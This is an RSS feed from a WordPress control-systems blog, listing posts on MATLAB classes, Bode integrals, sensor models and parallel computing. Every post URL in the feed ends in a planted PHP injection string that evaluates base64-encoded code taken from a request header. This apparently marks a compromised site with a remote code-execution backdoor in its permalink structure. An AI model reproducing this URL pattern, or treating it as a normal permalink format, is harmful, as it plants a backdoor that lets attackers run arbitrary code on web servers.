<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog at ControlTheoryPro.com &#187; control systems</title>
	<atom:link href="http://blogs.controltheorypro.com/category/control-systems/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogs.controltheorypro.com</link>
	<description>The online resource for Control Systems.</description>
	<lastBuildDate>Sun, 11 Oct 2009 00:10:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>MATLAB 2009a &#8211; Classes, Getting Started</title>
		<link>http://blogs.controltheorypro.com/2009/04/16/matlab-2009a-classes-getting-started/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2009/04/16/matlab-2009a-classes-getting-started/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 03:02:56 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[classes]]></category>
		<category><![CDATA[MATLAB 2009a]]></category>
		<category><![CDATA[object-oriented programming]]></category>
		<category><![CDATA[PSD example]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=185</guid>
		<description><![CDATA[In control systems it is often necessary to model noise and disturbances with a PSD.  In this article I continue step-by-step my psdData class example.  In this step we define the necessary properties for the psdData class.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2009/04/16/matlab-2009a-classes-getting-started/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MATLAB 2009a &#8211; Classes</title>
		<link>http://blogs.controltheorypro.com/2009/04/10/matlab-2009a-classes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2009/04/10/matlab-2009a-classes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 11 Apr 2009 02:44:34 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[classes]]></category>
		<category><![CDATA[MATLAB 2009a]]></category>
		<category><![CDATA[object-oriented programming]]></category>
		<category><![CDATA[PSD example]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=181</guid>
		<description><![CDATA[With the release of 2008a MATLAB made the creation of classes much easier. In these blogs posts I will run you through the development of an example class.  The class, or object, will allow the user to store, plot, and manipulate PSD data.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2009/04/10/matlab-2009a-classes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rules of Thumb in Controls Design</title>
		<link>http://blogs.controltheorypro.com/2009/02/17/rules-of-thumb-in-controls-design/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2009/02/17/rules-of-thumb-in-controls-design/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 17 Feb 2009 21:42:13 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[Rules of Thumb]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[controls]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=175</guid>
		<description><![CDATA[I've had a hard time identifying good industry rules of thumb for conservative controls design.  So I've put together a list of rules of thumb.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2009/02/17/rules-of-thumb-in-controls-design/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bode Integrals</title>
		<link>http://blogs.controltheorypro.com/2009/02/14/bode-integrals/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2009/02/14/bode-integrals/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 14 Feb 2009 21:42:12 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[Bode]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[stability]]></category>
		<category><![CDATA[bode integrals]]></category>
		<category><![CDATA[controllers]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=173</guid>
		<description><![CDATA[Controllers are not magic.  They required careful design unique to the frequency response of the plant.  The Bode Integrals inform us of design limitations.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2009/02/14/bode-integrals/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Sensor Models</title>
		<link>http://blogs.controltheorypro.com/2008/12/03/new-sensor-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/12/03/new-sensor-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 04 Dec 2008 07:23:10 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[sensors]]></category>
		<category><![CDATA[sensor modeling]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=164</guid>
		<description><![CDATA[Given that sensors are vital to feedback systems I've included a bunch of sensor models in my wiki.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/12/03/new-sensor-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MATLAB&#8217;s Parallel Computing Toolbox: What finally worked</title>
		<link>http://blogs.controltheorypro.com/2008/11/23/what_finally_worked/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/11/23/what_finally_worked/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 24 Nov 2008 06:12:57 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[Monte Carlo]]></category>
		<category><![CDATA[Parallel Computing Toolbox]]></category>
		<category><![CDATA[Simulink]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=158</guid>
		<description><![CDATA[If you are going to use MATLAB's Parallel Computing Toolbox for the first time schedule a couple of weeks to figure out how to use it with Simulink.  I've found a work around using the batch command but it isn't ideal.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/11/23/what_finally_worked/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MATLAB&#8217;s Parallel Computing Toolbox</title>
		<link>http://blogs.controltheorypro.com/2008/11/20/matlabs-parallel-computing-toolbox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/11/20/matlabs-parallel-computing-toolbox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 21 Nov 2008 05:01:17 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[control system]]></category>
		<category><![CDATA[Monte Carlo]]></category>
		<category><![CDATA[Parallel Computing]]></category>
		<category><![CDATA[Simulink]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=151</guid>
		<description><![CDATA[The Mathworks makes use of the parallel toolbox sound simple.  It is not simple and it shouldn't be expected to be simple.

If it's your first time using the toolbox schedule at least 2 weeks to get it working.  Maybe even schedule some time for calling the Mathworks helpdesk.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/11/20/matlabs-parallel-computing-toolbox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sorry for not posting this week&#8230;</title>
		<link>http://blogs.controltheorypro.com/2008/11/05/sorry-for-not-posting-this-week/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/11/05/sorry-for-not-posting-this-week/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 06 Nov 2008 06:05:32 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[control systems]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=132</guid>
		<description><![CDATA[I&#8217;m sorry for not posting this week.  I&#8217;ve been buried at work and I&#8217;ve picked up so many little web projects lately that I&#8217;ve spread myself too thin.
With any luck I&#8217;ll get back to posting 2 or 3 times a week next week.
I could use some help so I&#8217;d welcome any guest posters out there [...]]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/11/05/sorry-for-not-posting-this-week/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Electro-Optic Sensors</title>
		<link>http://blogs.controltheorypro.com/2008/10/23/electro-optic-sensors/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/10/23/electro-optic-sensors/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 24 Oct 2008 00:01:05 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[control systems]]></category>
		<category><![CDATA[sensors]]></category>
		<category><![CDATA[electro-optical]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=119</guid>
		<description><![CDATA[Electro-Optical (EO) sensors are used in a wide variety of satellite applications.  EO sensors take light energy and turn it into electrical energy.  There are a variety of sensors that do this.  Some image while other provide the centroid of a spot of light.]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/10/23/electro-optic-sensors/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Robots in Space</title>
		<link>http://blogs.controltheorypro.com/2008/10/19/robots-in-space/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/10/19/robots-in-space/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 20 Oct 2008 02:33:16 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[space news]]></category>
		<category><![CDATA[manned space flight]]></category>
		<category><![CDATA[robots]]></category>
		<category><![CDATA[space exploration]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=116</guid>
		<description><![CDATA[Space exploration funds are very limited and have been for decades.  I haven't worked onsite at NASA for years but the last number I remember is something like $15B for NASA's annual budget.  This sounds like a lot but with the better part of $1B devoted to each Shuttle launch $15B doesn't last long.

So the classic argument among space enthusiasts is should we bother with human space flight?  It's far more expensive than robotic space exploration.  Can humans bring enough extra to the mission that it is worth the extra expense and risk?]]></description>
		<wfw:commentRss>http://blogs.controltheorypro.com/2008/10/19/robots-in-space/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

